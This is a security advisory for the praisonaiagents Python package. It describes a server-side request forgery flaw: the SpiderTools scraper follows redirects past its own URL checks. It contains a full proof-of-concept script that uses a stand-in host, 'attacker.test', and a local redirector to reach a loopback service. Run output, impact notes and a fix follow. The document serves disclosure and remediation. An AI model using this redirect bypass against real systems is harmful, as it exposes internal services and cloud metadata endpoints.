PT-2026-53127 · Pypi · Praisonaiagents
Published
2026-06-18
·
Updated
2026-06-18
CVSS v3.1
6.5
Medium
| Vector | AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N |
SpiderTools redirect-target SSRF protection bypass
Summary
SpiderTools.scrape page() validates the initial URL and rejects direct
loopback, private, link-local, metadata, and internal hostnames. It then calls
requests.Session.get() without disabling automatic redirects or validating
redirect Location targets.Requests follows redirects by default for GET requests. A safe-looking public
URL can therefore pass
validate url(), redirect to a blocked target such as
127.0.0.1 or 169.254.169.254, and have the redirected response body parsed
and returned by scrape page().The same sink is used by
extract links(), crawl(), and extract text()
through their calls to scrape page().Affected component
text
src/praisonai-agents/praisonaiagents/tools/spider tools.pyTested affected:
v3.9.24/d08d98cav3.9.26/62472a23v4.6.56/d3c4a2afv4.6.57/e90d92231853161ad931f3498da57651a9f8b528- current main
2f9677abb2ea68eab864ee8b6a828fd0141612e1
No patched version is known at report time.
Root cause
Current main validates only the caller-supplied URL:
python
if not self. validate url(url):
return {"error": f"Invalid or potentially dangerous URL: {url}"}The fetch then uses Requests defaults:
python
response = session.get(
url,
timeout=timeout,
verify=verify ssl
)Because
allow redirects=False is not set, Requests follows a 3xx redirect to a
new destination that has not been checked by validate url() or
host is blocked().Proof of vulnerability
The PoV below is local-only and does not contact external infrastructure. It
starts a loopback-only internal service and a local redirector. During
PraisonAI's initial host validation,
attacker.test is made to look like a
public address. During the actual HTTP request, it routes to the local
redirector, which returns 302 Location: http://127.0.0.1:<port>/secret.Full PoV:
python
#!/usr/bin/env python3
"""Local PoV for SpiderTools redirect-target SSRF.
This uses only loopback services. The "attacker" hostname is treated as public
during PraisonAI's initial URL validation, then routed to a local redirector so
the PoV does not contact external infrastructure. The redirector points at a
loopback-only internal service. Vulnerable behavior is confirmed when
SpiderTools follows that redirect and returns the internal response body.
"""
from future import annotations
import http.server
import importlib.util
import inspect
import os
import socket
import socketserver
import threading
from typing import Any
def load spider tools class():
module file = os.environ.get("PRAISONAI SPIDER TOOLS FILE")
if module file:
spec = importlib.util.spec from file location("pov spider tools", module file)
if spec is None or spec.loader is None:
raise RuntimeError(f"Could not load spider tools file: {module file}")
module = importlib.util.module from spec(spec)
spec.loader.exec module(module)
return module.SpiderTools
from praisonaiagents.tools.spider tools import SpiderTools
return SpiderTools
class InternalHandler(http.server.BaseHTTPRequestHandler):
body = b"SPIDER-INTERNAL-SECRET"
def do GET(self) -> None: # noqa: N802
self.server.hit = True # type: ignore[attr-defined]
self.send response(200)
self.send header("Content-Type", "text/html")
self.send header("Content-Length", str(len(self.body)))
self.end headers()
self.wfile.write(self.body)
def log message(self, * args: Any) -> None:
return
class RedirectHandler(http.server.BaseHTTPRequestHandler):
target = ""
def do GET(self) -> None: # noqa: N802
self.server.hit = True # type: ignore[attr-defined]
self.send response(302)
self.send header("Location", self.target)
self.end headers()
def log message(self, * args: Any) -> None:
return
def called from spider host guard() -> bool:
return any(frame.function == " host is blocked" for frame in inspect.stack())
def main() -> int:
os.environ.pop("ALLOW LOCAL CRAWL", None)
internal = socketserver.TCPServer(("127.0.0.1", 0), InternalHandler)
internal.hit = False # type: ignore[attr-defined]
internal port = internal.server address[1]
RedirectHandler.target = f"http://127.0.0.1:{internal port}/secret"
redirect = socketserver.TCPServer(("127.0.0.1", 0), RedirectHandler)
redirect.hit = False # type: ignore[attr-defined]
redirect port = redirect.server address[1]
threading.Thread(target=internal.serve forever, daemon=True).start()
threading.Thread(target=redirect.serve forever, daemon=True).start()
original getaddrinfo = socket.getaddrinfo
def fake getaddrinfo(host: str, port: int, *args: Any, **kwargs: Any):
if host == "attacker.test":
if called from spider host guard():
return [
(
socket.AF INET,
socket.SOCK STREAM,
6,
"",
("93.184.216.34", port),
)
]
return original getaddrinfo("127.0.0.1", port, *args, **kwargs)
return original getaddrinfo(host, port, *args, **kwargs)
tool = load spider tools class()()
socket.getaddrinfo = fake getaddrinfo
try:
direct control = tool.scrape page(
f"http://127.0.0.1:{internal port}/secret",
timeout=5,
)
redirect result = tool.scrape page(
f"http://attacker.test:{redirect port}/go",
timeout=5,
)
vulnerable redirect hit = bool(redirect.hit) # type: ignore[attr-defined]
vulnerable internal hit = bool(internal.hit) # type: ignore[attr-defined]
redirect.hit = False # type: ignore[attr-defined]
internal.hit = False # type: ignore[attr-defined]
import requests
original session get = requests.Session.get
def no redirect get(self, url, **kwargs): # type: ignore[no-untyped-def]
kwargs.setdefault("allow redirects", False)
return original session get(self, url, **kwargs)
requests.Session.get = no redirect get
try:
no redirect control = load spider tools class()().scrape page(
f"http://attacker.test:{redirect port}/go",
timeout=5,
)
finally:
requests.Session.get = original session get
no redirect redirect hit = bool(redirect.hit) # type: ignore[attr-defined]
no redirect internal hit = bool(internal.hit) # type: ignore[attr-defined]
finally:
socket.getaddrinfo = original getaddrinfo
redirect.shutdown()
internal.shutdown()
redirect.server close()
internal.server close()
print("DIRECT CONTROL:", direct control)
print("REDIRECT RESULT:", redirect result)
print("REDIRECT SERVER HIT:", vulnerable redirect hit)
print("INTERNAL SERVER HIT:", vulnerable internal hit)
print("NO REDIRECT CONTROL:", no redirect control)
print("NO REDIRECT SERVER HIT:", no redirect redirect hit)
print("NO REDIRECT INTERNAL HIT:", no redirect internal hit)
if not isinstance(direct control, dict) or "dangerous URL" not in str(direct control):
raise SystemExit("control failed: direct loopback was not blocked")
if not isinstance(redirect result, dict) or "error" in redirect result:
raise SystemExit(f"bypass failed: unexpected result {redirect result!r}")
if "SPIDER-INTERNAL-SECRET" not in str(redirect result.get("content", "")):
raise SystemExit("bypass failed: internal body was not returned")
if not vulnerable redirect hit or not vulnerable internal hit:
raise SystemExit("bypass failed: expected local servers were not hit")
if not no redirect redirect hit or no redirect internal hit:
raise SystemExit("fix control failed: no-redirect mode reached internal service")
print("PRAI-CAND-004 CONFIRMED: SpiderTools follows a redirect to loopback")
return 0
if name == " main ":
raise SystemExit(main())Run:
fish
cd /Users/rexliu/Documents/GA code/REDit Deployment/stack/deploy
env PRAISONAI SPIDER TOOLS FILE=/path/to/PraisonAI/src/praisonai-agents/praisonaiagents/tools/spider tools.py
uv run --with requests --with beautifulsoup4 --with lxml --python 3.11
poc spider tools redirect ssrf.pyObserved on current main:
text
DIRECT CONTROL: {'error': 'Invalid or potentially dangerous URL: http://127.0.0.1:<port>/secret'}
REDIRECT RESULT: {'url': 'http://attacker.test:<port>/go', 'status code': 200, ... 'content': 'SPIDER-INTERNAL-SECRET', ...}
REDIRECT SERVER HIT: True
INTERNAL SERVER HIT: True
NO REDIRECT CONTROL: {'url': 'http://attacker.test:<port>/go', 'status code': 302, ... 'Location': 'http://127.0.0.1:<port>/secret', ...}
NO REDIRECT SERVER HIT: True
NO REDIRECT INTERNAL HIT: False
PRAI-CAND-004 CONFIRMED: SpiderTools follows a redirect to loopbackThe direct control proves direct loopback is blocked. The redirect result proves
the same blocked destination is reached through a public-looking initial URL.
The no-redirect control proves that disabling automatic redirects prevents the
internal request while still receiving the external redirect response.
Why this is not intended behavior
The Spider Tools documentation says
scrape page, extract links, crawl, and
extract text refuse dangerous URLs before network requests. The documented
blocked classes include loopback, private/reserved IPs, link-local/cloud
metadata endpoints, internal TLDs, non-HTTP(S) schemes, and parser-smuggling
forms. The same page states the validation is always on for bundled spider tools
and does not require enable security().The current code also documents
validate url() as URL validation "to prevent
SSRF attacks." A redirect to a loopback target bypasses that documented
protection.Impact
An attacker who can influence a URL passed to
scrape page(),
extract links(), crawl(), or extract text() can cause the PraisonAI process
to request destinations that SpiderTools is designed to block.Potential impact includes:
- reading loopback-only HTTP services;
- probing or reading private network services reachable from the PraisonAI host;
- reading link-local/cloud metadata endpoints if reachable in the deployment environment.
The PoV demonstrates returned response-body disclosure from a loopback-only
service. This report does not claim arbitrary code execution or live cloud
credential theft without deployment-specific evidence.
Severity
Suggested default severity: Moderate.
High severity may be appropriate for deployments where untrusted users can
directly invoke SpiderTools through a network-facing agent, bot, API, or MCP
service and sensitive internal or metadata services are reachable.
Suggested fix
Disable automatic redirects in
scrape page():python
response = session.get(
url,
timeout=timeout,
verify=verify ssl,
allow redirects=False,
)If redirects should remain supported, follow them manually and validate every
Location target before each hop using the same SSRF guard:- require
httporhttps; - resolve and validate every redirect hostname;
- reject loopback, private, link-local, reserved, multicast, unspecified, internal, and metadata destinations;
- cap redirect count;
- apply the same safe fetch path to
scrape page(),extract links(),crawl(), andextract text().
Regression tests should cover direct loopback rejection, public-to-loopback
redirect rejection, public-to-public redirects if supported, and all
scrape page() callers.Fix
SSRF
Found an issue in the description? Have something to add? Feel free to write us 👾
Weakness Enumeration
Related Identifiers
Affected Products
Praisonaiagents